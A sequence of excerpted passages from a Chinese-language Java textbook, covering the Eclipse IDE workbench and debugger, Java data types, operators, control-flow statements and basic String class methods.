    {"text": "Eclipse还可以将各种插件无缝地集成到工作台中，也可以在工作台中开发各种插件。 Eclipse工作台主要包括标题栏、菜单栏、工具栏、编辑器、透视图和相关的视图等，如图2.11所示。 在接下来的章节中将介绍Eclipse的菜单栏与工具栏，以及什么是透视图、视图，并介绍常用视图。 图2.11 Eclipse工作台 2.1.6 透视图与视图 透视图和视图是Eclipse中的概念，本节将分别介绍透视图、视图及其在Eclipse中的作用。 1. 透视图 透视图是Eclipse工作台提供的附加组织层，它实现多个视图的布局和可用操作的集合，并为这个集合定义一个名称，起到一个组织的作用。 例如，Eclipse提供的Java透视图组织了与Java程序设计有关的视图和操作的集合，而“调试”透视图负责组织与程序调试有关的视图和操作集。 在Eclipse的Java开发环境中提供了几种常用的透视图，如Java透视图、“资源”透视图、“调试”透视图、“小组同步”透视图等。"},
    {"text": "2.1.7 菜单栏 Eclipse的菜单栏包含了Eclipse的基本命令，在使用不同的编辑器时，还会动态地添加有关该编辑器的菜单。 基本的菜单栏中除了常用的“文件”“编辑”“窗口”“帮助”等菜单以外，还提供了一些功能菜单，如“源代码”和“重构”等，如图2.12所示。 图2.12 Eclipse的菜单栏 不同菜单中包含着不同的命令，这些命令用于完成最终的操作，如文件的打开与保存、代码的格式化、程序的运行与分步调试等。"},
    {"text": "表2.1 “文件”菜单中常用命令 2. “编辑”菜单 “编辑”菜单用于辅助程序代码设计工作，除常用的“剪切”“复制”“粘贴”命令之外，还提供了“快速修正”“将选择范围扩展到”“内容辅助”等高级命令。"},
    {"text": "“编辑”菜单中的常用命令如表2.2所示。 表2.2 “编辑”菜单中常用命令 3. “源代码”菜单 “源代码”菜单中包含的命令都是和代码编写相关的命令，主要用于辅助编程。 “源代码”菜单的常用命令如表2.3所示。 表2.3 “源代码”菜单中常用命令 4. “重构”菜单 “重构”菜单是Eclipse最关键的菜单，主要包括项目重构的相关命令，应该重点掌握。 “重构”菜单中的常用命令如表2.4所示。 表2.4 “重构”菜单中常用命令 2.1.8 工具栏 和大多数软件的布局格式相同，Eclipse的工具栏位于菜单栏的下方。"},
    {"text": "工具栏中的按钮都是菜单命令对应的快捷图标，在打开不同的编辑器时，还会动态地添加与编辑器相关的新工具栏按钮。 另外，除了菜单栏下面的主工具栏，Eclipse中还有视图工具栏、透视图工具栏和快速视图工具栏等多种工具栏。 （1）主工具栏 主工具栏就是位于Eclipse菜单栏下方的工具栏，其内容将根据不同的透视图和不同类型的编辑器显示相关工具按钮，如图2.14所示。 图2.14 Eclipse主工具栏 （2）视图工具栏 Eclipse界面中包含多种视图，这些视图有不同的用途（有关视图的概念已在2.1.6节中讲述），可以根据视图的功能需求在视图的标题栏位置添加相应的视图工具栏。"},
    {"text": "例如，“控制台”视图用于输出程序运行中的输出结果和运行时异常信息，其工具栏如图2.15所示。 图2.15 “控制台”视图的标题栏和工具栏 （3）透视图工具栏 透视图工具栏主要包括切换已经打开的不同透视图的缩略按钮以及打开其他视图的按钮。 在相应的工具按钮上右击会弹出透视图的管理菜单，实现透视图的定制、关闭、复位、布局位置、是否显示文本等操作，如图2.16所示。 图2.16 透视图工具栏 2.1.9 “包资源管理器”视图 “包资源管理器”视图用于浏览项目结构中的Java元素，包括包、类、类库的引用等，但最主要的用途还是操作项目中的源代码文件。"},
    {"text": "在学习Swing程序设计之前，必须使用控制台实现与程序的交互，例如，为方便调试某个方法，该视图在方法执行前后会分别输出“方法开始”和“方法结束”信息。"},
    {"text": "2.2 使用Eclipse 现在读者对Eclipse工具已经有大体的认识了，本节将介绍如何使用Eclipse完成HelloJava程序的编写和运行。 （实例位置：\\TM\\sl\\Hello. java） 2.2.1 创建Java项目 在Eclipse中编写程序，必须先创建项目。 Eclipse中有很多种项目，其中Java项目用于管理和编写Java程序。"},
    {"text": "创建该项目的步骤如下： （1）选择“文件”/“新建”/“ 项目”命令，打开“新建项目”对话框，该对话框包含创建项目的向导，在向导中选择“ Java项目”节点，单击“下一步”按钮。 （2）弹出“新建Java项目”对话框，在“项目名”文本框中输入“HelloJava”，在“项目布局”栏中选中“为源文件和类文件创建单独的文件夹”单选按钮，如图2.19所示，然后单击“完成”按钮。"},
    {"text": "图2.19 “新建Java项目”对话框 图2.20 不创建模块化声明文件 2.2.2 创建Java类文件 创建Java类文件时，会自动打开Java编辑器。 创建Java类文件可以通过“新建Java类”向导来完成。 在Eclipse菜单栏中选择“文件”/“新建”/“类”命令，将打开“新建Java类”向导对话框，如图2.21所示。 图2.21 “新建Java类”向导对话框 使用该向导对话框创建Java类的步骤如下： （1）在“源文件夹”文本框中输入项目源程序文件夹的位置。"},
    {"text": "1. 打开Java编辑器 在使用向导创建Java类文件之后，会自动打开Java编辑器编辑新创建的Java类文件。 除此之外，打开Java编辑器最常用的方法是在“包资源管理器”视图中双击Java源文件或在Java源文件处右击并在弹出的快捷菜单中选择“打开方式”/“Java编辑器”命令。"},
    {"text": "在使用向导创建HelloJava类之后，向导会自动构建HelloJava类结构的部分代码，并建立main()方法，程序开发人员需要做的就是将代码补全，为程序添加相应的业务逻辑。"},
    {"text": "这时，可以选择主菜单上的“窗口”/“首选项”命令，打开“首选项”对话框，在左侧的列表中选择“常规”/“外观”/“颜色和字体”节点，在右侧选择Java/“Java编辑器文本字体”节点，并单击“编辑”按钮，在弹出的对话框中选择Courier New字体，单击“确定”按钮，返回到“首选项”对话框中，单击“应用”按钮即可。"},
    {"text": "图2.24 使用快捷键补全关键字 其次是第8行的程序代码，它使用System.out.println()方法输出文字信息到控制台，这是程序开发时最常使用的方法之一。 当输入“.”操作符时，编辑器会自动弹出代码辅助菜单，也可以在输入部分文字之后使用Alt+/快捷键调出代码辅助菜单，完成关键语法的输入，如图2.25所示。 图2.25 代码辅助菜单 注意 System.out.println()方法在Java编辑器中可以通过输入“syso”和按Alt+/快捷键完成快速输入。 技巧 将光标移动到Java编辑器的错误代码位置，按Ctrl+1快捷键可以激活“代码修正”菜单，从中可选择一种合适的修正方法。"},
    {"text": "2.2.4 运行Java程序 HelloJava类包含main()方法，它是一个可以运行的主类。 例如，在Eclipse中运行HelloJava程序，可以在“包资源管理器”视图的HelloJava文件处右击，在弹出的菜单中选择“运行方式”/“ Java应用程序”命令。"},
    {"text": "为验证Java单元的运行状况，以往会在某个方法调用的开始和结束位置分别使用System.out.println()方法输出状态信息，并根据这些信息判断程序执行状况，但这种方法比较原始，而且经常导致程序代码混乱（导出的都是System.out.println()方法）。 本节将简单介绍Eclipse内置的Java调试器的使用方法，使用该调试器可以进行设置程序的断点，实现程序单步执行，在调试过程中查看变量和表达式的值等调试操作，这样可以避免在程序中编写大量的System.out.println()方法输出调试信息。 使用Eclipse的Java调试器需要设置程序断点，然后使用单步调试分别执行程序代码的每一行。 1. 断点 设置断点是程序调试中必不可少的手段，Java调试器每次遇到程序断点时都会将当前线程挂起，即暂停当前程序的运行。 可以在Java编辑器中显示代码行号的位置双击添加或删除当前行的断点，或者在当前行号的位置右击，在弹出的快捷菜单中选择“切换断点”命令实现断点的添加与删除，如图2.27所示。 2. 以调试方式运行Java程序 要在Eclipse中调试HelloJava程序，可以在“包资源管理器”视图中HelloJava文件处右击，在弹出的快捷菜单中选择“调试方式”/“ Java应用程序”命令。"},
    {"text": "在图2.27中第8行代码设置了断点，调试器将在该断点处挂起当前线程，使程序暂停，如图2.28所示。 图2.27 Java编辑器中的断点 图2.28 程序执行到断点后暂停 3. 程序调试 程序执行到断点被暂停后，可以通过“调试”视图工具栏上的按钮执行相应的调试操作，如运行、停止等。"},
    {"text": "图2.29 “调试”视图 （1）单步跳过 在“调试”视图的工具栏中单击 按钮或按F6键，将执行单步跳过操作，即运行单独的一行程序代码，但是不进入调用方法的内部，然后跳到下一个可执行点并暂挂线程。"},
    {"text": "2.4 小结 本章主要介绍了Eclipse开发工具，包括它的配置与启动、菜单栏、工具栏，以及常用的“包资源管理器”和“控制台”视图； 另外还介绍了Eclipse的使用方法，包括创建Java项目、创建Java类、编写程序代码和运行程序；"},
    {"text": "（答案位置：\\TM\\sl\\2.02） 第3章 Java语言基础 很多人认为学习Java语言之前必须先学习C++语言，其实并非如此。 之所以存在这种错误的认识，是因为很多人在学习Java语言之前都学过C++语言。 事实上，Java语言比C++语言更容易掌握。 要掌握并熟练应用Java语言，就需要对Java语言的基础进行充分的了解。 本章对Java语言基础进行了比较详细的介绍，初学者应该对本章的各个小节进行仔细地阅读、思考，这样才能达到事半功倍的效果。 通过阅读本章，您可以： 了解Java主类结构 了解Java语言中的基本数据类型 理解Java语言中的常量与变量 掌握Java语言运算符的使用 理解Java语言数据类型的转换 了解Java语言中的代码注释与编码规范 3.1 Java主类结构 Java语言是面向对象的程序设计语言，Java程序的基本组成单元是类，类体中又包括属性与方法两部分（本书将在以下章节中逐一介绍）。"},
    {"text": "3.1.2 声明成员变量和局部变量 通常将类的属性称为类的全局变量（成员变量），将方法中的属性称为局部变量。 全局变量声明在类体中，局部变量声明在方法体中。 全局变量和局部变量都有各自的应用范围。 在例3.1中s1是成员变量，s2是局部变量。"},
    {"text": "可以通过JDK的API文档来查看这些类，其中主要包括类的继承结构、类的应用、成员变量表、构造方法表等，并对每个变量的使用目的作了详细的描述，API文档是程序开发人员不可或缺的工具。"},
    {"text": "3.2 基本数据类型 在Java中有8种基本数据类型来存储数值、字符和布尔值，如图3.2所示。 图3.2 Java基本数据类型 3.2.1 整数类型 整数类型用来存储整数数值，即没有小数部分的数值。"},
    {"text": "表3.1 整型数据类型 下面以int型变量为例讲解整型变量的定义。 【例3.2】定义int型变量，实例代码如下： 在定义以上4种类型变量时，要注意变量的取值范围，超出相应范围就会出错。"},
    {"text": "Java语言中浮点类型分为单精度浮点类型（float）和双精度浮点类型（double），它们具有不同的取值范围，如表3.2所示。 表3.2 浮点型数据类型 在默认情况下，小数都被看作double型，若使用float型小数，则需要在小数后面添加F或f。 可以使用后缀d或D来明确表明这是一个double类型数据，不加d不会出错，但声明float型变量时如果不加f，系统会认为变量是double类型，从而出错。"},
    {"text": "【例3.4】定义浮点类型变量，实例代码如下： float f1 = 13.23f; double d1 = 4562.12d; double d2 = 45678.1564; 3.2.3 字符类型 1. char型 字符类型（char）用于存储单个字符，占用16位（两个字节）的内存空间。"},
    {"text": "在定义字符型变量时，要以单引号表示，如's'表示一个字符，而\"s\"则表示一个字符串，虽然只有一个字符，但由于使用双引号，它仍然表示字符串，而不是字符。"},
    {"text": "【例3.5】声明字符型变量，实例代码如下： char x = 'a'; 由于字符a在unicode表中的排序位置是97，因此允许将上面的语句写成： char x = 97; 同C和C++语言一样，Java语言也可以把字符作为整数对待。 由于unicode编码采用无符号编码，可以存储65536个字符（0x0000~0xffff），所以Java中的字符几乎可以处理所有国家的语言文字。"},
    {"text": "【例3.7】使用转义字符，实例代码如下： 3.2.4 布尔类型 布尔类型又称逻辑类型，通过关键字boolean来定义布尔类型变量，只有true和false两个值，分别代表布尔逻辑中的“真”和“假”。"},
    {"text": "【例3.8】声明boolean型变量，实例代码如下： 3.3 变量与常量 在程序执行过程中，其值不能被改变的量称为常量，其值能被改变的量称为变量。"},
    {"text": "下面是合法标识符： name user_age page 下面是非法标识符： 4word String User name 在Java语言中标识符中的字母是严格区分大小写的，如good和Good是不同的两个标识符。"},
    {"text": "Java语言使用unicode标准字符集，最多可以标识65535个字符，因此，Java语言中的字母不仅包括通常的拉丁文字a、b、c等，还包括汉字、日文以及其他许多语言中的文字。"},
    {"text": "3.2节介绍的数据类型中提到的int、boolean等都是关键字。 Java语言中的关键字如表3.4所示。 表3.4 Java关键字 3.3.2 声明变量 变量的使用是程序设计中一个十分重要的环节。"},
    {"text": "定义变量就是要告诉编译器（compiler）这个变量的数据类型，这样编译器才知道需要配置多少空间给它，以及它能存放什么样的数据。 在程序运行过程中，空间内的值是变化的，这个内存空间就称为变量。 为了便于操作，给这个空间取个名字，称为变量名。"},
    {"text": "当程序执行时，程序代码会加载到内存中的程序区，数据暂时存储在数据区中。 假设上述两个变量定义在方法体中，则程序加载到程序区中。 当执行此行程序代码时，会在数据区配置空间给出这两个变量。"},
    {"text": "图3.5 变量占用的内存空间 说明 在Java语言中允许使用汉字或其他语言文字作为变量名，如“int年龄 = 21”，在程序运行时不会出现错误，但建议读者尽量不要使用这些语言文字作为变量名。"},
    {"text": "在Java语言中声明一个常量，除了要指定数据类型外，还需要通过final关键字进行限定。 声明常量的标准语法如下： final 数据类型 常量名称[=值] 常量名通常使用大写字母，但这并不是必需的。"},
    {"text": "图3.6 例3.11的运行结果 3.3.4 变量的有效范围 由于变量被定义出来后只是暂存在内存中，等到程序执行到某一个点，该变量会被释放掉，也就是说变量有它的生命周期。 因此，变量的有效范围是指程序代码能够访问该变量的区域，若超出该区域，则在编译时会出现错误。 在程序中，一般会根据变量的“有效范围”将变量分为“成员变量”和“局部变量”。 1. 成员变量 在类体中所定义的变量被称为成员变量，成员变量在整个类中都有效。 类的成员变量又可分为两种，即静态变量和实例变量。 【例3.12】声明静态变量和实例变量，实例代码如下： class var{ int x = 45; static int y = 90 } 其中，x为实例变量，y为静态变量（也称类变量）。 如果在成员变量的类型前面加上关键字static，这样的成员变量称为静态变量。"},
    {"text": "静态变量的有效范围可以跨类，甚至可达到整个应用程序之内。 对于静态变量，除了能在定义它的类内存取，还能直接以“类名.静态变量”的方式在其他类内使用。"},
    {"text": "局部变量的生命周期取决于方法，当方法被调用时，Java虚拟机为方法中的局部变量分配内存空间，当该方法的调用结束后，则会释放方法中局部变量占用的内存空间，局部变量也将会销毁。"},
    {"text": "图3.7 变量的有效范围 图3.8 例3.13的运行结果 3.4 运算符 运算符是一些特殊的符号，主要用于数学函数、一些类型的赋值语句和逻辑比较方面。"},
    {"text": "3.4.1 赋值运算符 赋值运算符以符号“=”表示，它是一个二元运算符（对两个操作数作处理），其功能是将右方操作数所含的值赋给左方的操作数。"},
    {"text": "左方的操作数必须是一个变量，而右边的操作数则可以是任何表达式，包括变量（如a、number）、常量（如123、'book'）、有效的表达式（如45*12）。"},
    {"text": "【例3.14】使用赋值运算符为变量赋值，实例代码如下： 遵循赋值运算符的运算规则，可知系统将先计算a+b的值，结果为15，然后将15赋值给变量c，因此c=15。"},
    {"text": "由于赋值运算符“=”处理时会先取得右方表达式处理后的结果，因此一个表达式中若含有两个以上的“=”运算符，会从最右方的“=”开始处理。"},
    {"text": "3.4.2 算术运算符 Java中的算术运算符主要有+（加）、-（减）、*（乘）、/（除）、%（求余），它们都是二元运算符。 Java中算术运算符的功能及使用方式如表3.5所示。 表3.5 Java算术运算符 其中，“+”和“-”运算符还可以作为数据的正负符号，如+5、-7。"},
    {"text": "图3.10 使用算术运算符将变量的计算结果输出 3.4.3 自增和自减运算符 自增、自减运算符是单目运算符，可以放在操作元之前，也可以放在操作元之后。"},
    {"text": "自增、自减运算符的作用是使变量的值增1或减1。 放在操作元前面的自增、自减运算符，会先将变量的值加1（减1），然后再使该变量参与表达式的运算。 放在操作元后面的自增、自减运算符，会先使变量参与表达式的运算，然后再将该变量加1（减1）。"},
    {"text": "假设a = 4，则： 再看另一个语法，同样假设a = 4，则： 3.4.4 比较运算符 比较运算符属于二元运算符，用于程序中的变量之间、变量和自变量之间以及其他类型的信息之间的比较。"},
    {"text": "表3.6 比较运算符 【例3.17】在项目中创建类Compare，在主方法中创建整型变量，使用比较运算符对变量进行比较运算，并将运算后的结果输出。"},
    {"text": "这是通过逻辑运算符来实现的。 逻辑运算符包括&（&&）（逻辑与）、||（逻辑或）、!（逻辑非）。 逻辑运算符的操作元必须是boolean型数据。 在逻辑运算符中，除了“！ ”是一元运算符之外，其他都是二元运算符。"},
    {"text": "表3.7给出了逻辑运算符的用法和含义。 表3.7 逻辑运算符 结果为boolean型的变量或表达式可以通过逻辑运算符组合为逻辑表达式。 用逻辑运算符进行逻辑运算时，结果如表3.8所示。 表3.8 使用逻辑运算符进行逻辑运算 逻辑运算符“&&”与“&”都表示“逻辑与”，那么它们之间的区别在哪里呢？ 从表3.8可以看出，当两个表达式都为true时，“逻辑与”的结果才会是true。 使用逻辑运算符“&”会判断两个表达式； 而逻辑运算符“&&”则是针对boolean类型的类进行判断，当第一个表达式为false时则不去判断第二个表达式，直接输出结果从而节省计算机判断的次数。"},
    {"text": "通常将这种在逻辑表达式中从左端的表达式可推断出整个表达式的值称为“短路”，而那些始终执行逻辑运算符两边的表达式称为“非短路”。 “&&”属于“短路”运算符，而“&”则属于“非短路”运算符。"},
    {"text": "1. “按位与”运算 “按位与”运算的运算符为“&”，为双目运算符。 “按位与”运算的运算法则是：如果两个整型数据a、b对应位都是1，则结果位才是1，否则为0。"},
    {"text": "图3.13 5&-4的运算过程 图3.14 3|6的运算过程 3. “按位取反”运算 “按位取反”运算也称“按位非”运算，运算符为“~”，为单目运算符。"},
    {"text": "4. “按位异或”运算 “按位异或”运算的运算符是“^”，为双目运算符。 “按位异或”运算的运算法则是：当两个操作数的二进制表示相同（同时为0或同时为1）时，结果为0，否则为1。"},
    {"text": "当使用“>>”符号时，如果最高位是0，右移空的位就填入0； 如果最高位是1，右移空的位就填入1，如图3.17所示。 图3.17 右移 Java还提供了无符号右移“>>>”，无论最高位是0还是1，左侧被移空的高位都填入0。"},
    {"text": "3.4.7 三元运算符 三元运算符的使用格式为： 条件式?值1:值2 三元运算符的运算规则为：若条件式的值为true，则整个表达式取值1，否则取值2。 例如： boolean b = 20<45?true:false; 如上例所示，表达式“20<45”的运算结果返回真，那么boolean型变量b取值为true； 相反，表达式“45<20”返回为假，则boolean型变量b取值false。"},
    {"text": "三元运算符等价于if…else语句。 【例3.19】等价于三元运算符的if…else语句，实例代码如下： （实例位置：\\TM\\sl\\3.10） 3.4.8 运算符优先级 Java中的表达式就是使用运算符连接起来的符合Java规则的式子。"},
    {"text": "表3.9显示了在Java中众多运算符特定的优先级。 表3.9 运算符的优先级 技巧 在编写程序时尽量使用括号运算符来限定运算次序，以免产生错误的运算顺序。"},
    {"text": "3.5 数据类型转换 类型转换是将一个值从一种类型更改为另一种类型的过程。 例如，可以将String类型的数据“457”转换为数值型，也可以将任意类型的数据转换为String类型。"},
    {"text": "图3.18 例3.21的运行结果 技巧 要理解类型转换，读者可以这么想象，大脑前面是一片内存，源和目标分别是两个大小不同的内存块（由变量及数据的类型来决定），将源数据赋值给目标内存的过程，就是用目标内存块尽可能多地套取源内存中的数据。"},
    {"text": "Java语言提供了3种添加注释的方法，分别为单行注释、多行注释和文档注释。 1. 单行注释 “//”为单行注释标记，从符号“//”开始直到换行为止的所有内容均作为注释而被编译器忽略。 语法如下： //注释内容 例如，以下代码为声明的int型变量添加注释： int age ; //定义int型变量用于保存年龄信息 2. 多行注释 “/* */”为多行注释标记，符号“/*”与“*/”之间的所有内容均为注释内容。"},
    {"text": "例如： /* 程序名称：Hello world //开发时间：2008-03-05 */ 注意 但在多行注释中不可以嵌套多行注释，以下代码为非法： /* 程序名称：Hello world /*开发时间：2008-03-05 作者：张先生 */ */ 3. 文档注释 “/** */”为文档注释标记。"},
    {"text": "程序设计也是如此，需要有流程控制语言实现与用户的交流，并根据用户的输入决定程序要“做什么”“怎么做”等。 流程控制对于任何一门编程语言来说都是至关重要的，它提供了控制程序步骤的基本手段。"},
    {"text": "通过阅读本章，您可以： 理解Java语言中复合语句的使用方法 掌握if条件语句的使用方法 了解if语句与switch语句的区别 掌握while循环语句的使用方法 掌握do…while循环语句的使用方法 了解while语句与do…while语句的区别 掌握for语句的使用方法 了解foreach语句的使用方法 4.1 复合语句 与C语言及其他语言相同，Java语言的复合语句是以整个块区为单位的语句，所以又称块语句。"},
    {"text": "在前面的学习中已经接触到了这种复合语句，例如，在定义一个类或方法时，类体就是以“{ }”作为开始与结束的标记，方法体同样也是以“{ }”作为标记。"},
    {"text": "图4.1 例4.1的运行结果 在使用复合语句时要注意，复合语句为局部变量创建了一个作用域，该作用域为程序的一部分，在该作用域中某个变量被创建并能够被使用。 如果在某个变量的作用域外使用该变量，则会发生错误，例如，在本实例中，如果在复合语句外使用变量y、z、b将会出现错误，而变量x可在整个方法体中使用。"},
    {"text": "4.2.1 if条件语句 if条件语句是一个重要的编程语句，用于告诉程序在某个条件成立的情况下执行某段语句，而在另一种情况下执行另外的语句。 使用if条件语句，可选择是否要执行紧跟在条件之后的那个语句。 关键字if之后是作为条件的“布尔表达式”，如果该表达式返回的结果为true，则执行其后的语句；"},
    {"text": "if条件语句可分为简单的if条件语句、if…else语句和if…else if多分支语句。 1. 简单的if条件语句 语法如下： 布尔表达式：必要参数，表示最后返回的结果必须是一个布尔值。"},
    {"text": "若语句序列中仅有一条语句，则可以省略条件语句中的“{ }”。 【例4.2】语句序列中只有一条语句，实例代码如下： 说明 虽然if后面的复合语句块只有一条语句，省略“{ }”并无语法错误，但为了增强程序的可读性最好不要省略。 条件语句后的语句序列省略时，则可以保留外面的大括号，也可以省略大括号。"},
    {"text": "【例4.3】省略了if条件表达式中的语句序列，实例代码如下： boolean b = false; if(b); boolean b = false; if(b){} 简单的if条件语句的执行过程如图4.2所示。"},
    {"text": "图4.2 if条件语句的执行过程 图4.3 例4.4的运行结果 2. if…else语句 if…else语句是条件语句中最常用的一种形式，它会针对某种条件有选择地做出处理。"},
    {"text": "语法如下： if后面“()”内的表达式的值必须是boolean型的。 如果表达式的值为true，则执行紧跟if语句的复合语句； 如果表达式的值为false，则执行else后面的复合语句。"},
    {"text": "同简单的if条件语句一样，如果if…else语句的语句序列中只有一条语句（不包括注释），则可以省略该语句序列外面的“{ }”。 有时为了编程的需要，else或if后面的“{ }”中可以没有语句。"},
    {"text": "如下面的代码： if(a > 0) b = a; else b = -a; 可以简写成： b = a > 0?a:-a; 上段代码为求绝对值的语句，如果a > 0，就把a的值赋值给变量b，否则将-a赋值给变量b。 也就是问号前面的表达式为真，则将问号与冒号之间的表达式的计算结果赋值给变量b，否则将冒号后面的表达式的计算结果赋值给变量b。"},
    {"text": "if…else if多分支语句的执行过程如图4.6所示。 图4.6 if…else if多分支语句执行过程 【例4.6】在项目中创建类GetTerm，在主方法中定义变量x，使用if…else if多分支语句通过判断x的值决定输出结果。"},
    {"text": "语法如下： switch语句中表达式的值必须是整型、字符型或字符串类型，常量值1~n必须也是整型、字符型或字符串类型。 switch语句首先计算表达式的值，如果表达式的值和某个case后面的常量值相同，则执行该case语句后的若干个语句直到遇到break语句为止。"},
    {"text": "若没有一个常量的值与表达式的值相同，则执行default后面的语句。 default语句为可选的，如果它不存在，且switch语句中表达式的值不与任何case的常量值相同，switch则不做任何处理。"},
    {"text": "说明 在JDK 1.6及以前的版本中，switch语句中表达式的值必须是整型或字符型，常量值1~n必须也是整型或字符型，但是在JDK 1.7中，switch语句的表达式的值除了是整型或字符型，还可以是字符串类型。"},
    {"text": "在Java中提供了3种常用的循环语句，分别是while循环语句、do…while循环语句和for循环语句，下面分别进行介绍。 4.3.1 while循环语句 while语句也称条件判断语句，它的循环方式为利用一个条件来控制是否要继续反复执行这个语句。 语法如下： 当条件表达式的返回值为真时，则执行“{}”中的语句，当执行完“{}”中的语句后，重新判断条件表达式的返回值，直到表达式返回的结果为假时，退出循环。"},
    {"text": "如： while(x == 5); System.out.println(\"x的值为5\"); 这时程序会认为要执行一条空语句，而进入无限循环，Java编译器又不会报错。"},
    {"text": "4.3.2 do…while循环语句 do…while循环语句与while循环语句类似，它们之间的区别是while语句为先判断条件是否成立再执行循环体，而do…while循环语句则先执行一次循环后，再判断条件是否成立。 也就是说，do…while循环语句中“{}”中的程序段至少要被执行一次。 语法如下： do…while语句与while语句的一个明显区别是，do…while语句在结尾处多了一个分号（;）。 根据do…while循环语句的语法特点总结出的do…while循环语句的执行过程，如图4.12所示。"},
    {"text": "图4.14 for循环语句执行过程 图4.15 例4.12的运行结果 技巧 在编程时，有时会使用for循环的特殊语法格式来实现无限循环。 语法格式为： for(;;) { … } 对于这种无限循环，可以通过break语句跳出循环。 例如： for(;;) { if(x <20) break; x++; } 2. foreach语句 foreach语句是for语句的特殊简化版本，不能完全取代for语句，但任何foreach语句都可以改写为for语句版本。"},
    {"text": "下面通过简单的例子来介绍foreach语句是如何遍历一维数组的。 【例4.13】在项目中创建类Repetition，在主方法中定义一维数组，并用foreach语句遍历该数组。"},
    {"text": "4.4.1 break语句 使用break语句可以跳出switch结构。 在循环结构中，同样也可用break语句跳出当前循环体，从而中断当前循环。 在3种循环语句中使用break语句的形式如图4.17所示。 图4.17 break语句的使用形式 【例4.14】使用break跳出循环。"},
    {"text": "图4.18 例4.14的运行结果 注意 循环嵌套情况下，break语句将只会使程序流程跳出包含它的最内层的循环结构，即只跳出一层循环。 【例4.15】在嵌套的循环中使用break跳出内层循环。"},
    {"text": "图4.19 例4.15的运行结果 从这个运行结果我们可以看出： （1）循环中的if语句判断：如果j等于4时，执行break语句，则中断了内层的循环，输出的j值最大到3为止。"},
    {"text": "break标签名：break跳出指定的循环体，此循环体的标签名必须与break的标签名一致。 带有标签的break可以指定跳出的循环，这个循环可以是内层循环，也可以是外层循环。 【例4.16】用带有标签的break跳出外层循环。"},
    {"text": "4.4.2 continue语句 continue语句是针对break语句的补充。 continue不是立即跳出循环体，而是跳过本次循环结束前的语句，回到循环的条件测试部分，重新开始执行循环。 在for循环语句中遇到continue后，首先执行循环的增量部分，然后进行条件测试。 在while和do…while循环中，continue语句使控制直接回到条件测试部分。 在3种循环语句中，使用continue语句的形式如图4.21所示。 图4.21 continue语句的使用形式 【例4.17】输出1～20之间的奇数，使用continue跳出循环。"},
    {"text": "通过阅读本章，您可以： 掌握字符串的创建方式 理解字符串连接的方式 掌握获取字符串信息的方式 掌握字符串的常用操作 掌握字符串的格式化方法 理解正则表达式 掌握字符串生成器的用法 5.1 String类 前面的章节中介绍了char类型，它只能表示单个字符，不能表示由多个字符连接而成的字符串。 在Java语言中将字符串作为对象来处理，可以通过java.lang包中的String类来创建字符串对象。 5.1.1 声明字符串 在Java语言中字符串必须包含在一对双引号（\" \"）之内。"},
    {"text": "可以通过以下语法格式来声明字符串变量： String str ; String：指定该变量为字符串类型。 str：任意有效的标识符，表示字符串变量的名称。 【例5.1】声明字符串变量s，实例代码如下： String s; 说明 声明字符串变量必须经过初始化才能使用，否则编译器会报出“变量未被初始化错误”。"},
    {"text": "5.1.2 创建字符串 在Java语言中将字符串作为对象来管理，因此可以像创建其他类对象一样来创建字符串对象（关于类与对象，以及构造方法的详细介绍可参见第7章内容）。"},
    {"text": "String类的常用构造方法如下： （1）String(char a[]) 用一个字符数组a创建String对象。 【例5.2】用一个字符数组a创建String对象，实例代码如下： （2）String(char a[], int offset, int length) 提取字符数组a中的一部分创建一个字符串对象。"},
    {"text": "【例5.3】提取字符数组a中的一部分创建一个字符串对象，实例代码如下： （3）String(char[] value) 该构造方法可分配一个新的String对象，使其表示字符数组参数中所有元素连接的结果。 【例5.4】创建字符数组，将数组中的所有元素连接成一个String对象，实例代码如下： 除通过以上几种使用String类的构造方法来创建字符串变量外，还可通过字符串常量的引用赋值给一个字符串变量。 【例5.5】引用字符串常量来创建字符串变量，实例代码如下： String str1,str2; str1 = \"We are students\" srt2 = \"We are students\" 此时str1与str2引用相同的字符串常量，因此具有相同的实体。"},
    {"text": "连接字符串就是字符操作中较简单的一种。 可以对多个字符串进行连接，也可使字符串与其他数据类型进行连接。 5.2.1 连接多个字符串 使用“+”运算符可实现连接多个字符串的功能。 “+”运算符可以连接多个运算符并产生一个String对象。"},
    {"text": "因此，上面的语句可以修改为： System.out.println(\"I like\"+ \"Java\"); 5.2.2 连接其他数据类型 字符串也可同其他基本数据类型进行连接。"},
    {"text": "本实例实现的是将字符串常量与整型变量booktime和浮点型变量practice相连后的结果输出。 在这里booktime和practice都不是字符串，当它们与字符串相连时会自动调用toString()方法，将其转换成字符串形式，然后参与连接。"},
    {"text": "注意 只要“+”运算符的一个操作数是字符串，编译器就会将另一个操作数转换成字符串形式，所以应谨慎地将其他数据类型与字符串相连，以免出现意想不到的结果。"},
    {"text": "如果将上例中的输出语句修改为： 则例5.7修改后的运行结果如图5.4所示。 图5.3 例5.7的运行结果 图5.4 输出语句修改后例5.7的运行结果 为什么会这样呢？"},
    {"text": "5.3.1 获取字符串长度 使用String类的length()方法可获取声明的字符串对象的长度。 语法如下： str.length(); 其中，str为字符串对象。 【例5.8】获取字符串长度，实例代码如下： String str = \"We are students\"; int size = str.length(); 上段代码是将字符串str的长度赋值给int型变量size，此时变量size的值为15，这表示length()方法返回的字符串的长度包括字符串中的空格。 5.3.2 字符串查找 String类提供了两种查找字符串的方法，即indexOf()与lastIndexOf()方法。"},
    {"text": "indexOf()方法返回的是搜索的字符或字符串首次出现的位置，lastIndexOf()方法返回的是搜索的字符或字符串最后一次出现的位置。 （1）indexOf(String s) 该方法用于返回参数字符串s在指定字符串中首次出现的索引位置。 当调用字符串的indexOf()方法时，会从当前字符串的开始位置搜索s的位置；"},
    {"text": "图5.5 字符串str下标 （2）lastIndexOf(String str) 该方法用于返回指定字符串最后一次出现的索引位置。 当调用字符串的lastIndexOf()方法时，会从当前字符串的开始位置检索参数字符串str，并将最后一次出现str的索引位置返回。"},
    {"text": "【例5.10】在项目中创建类Text，在主方法中创建String对象，使用lastIndexOf()方法查看字符串str中空字符串的位置，然后输出字符串的长度，看它们是否相同。"},
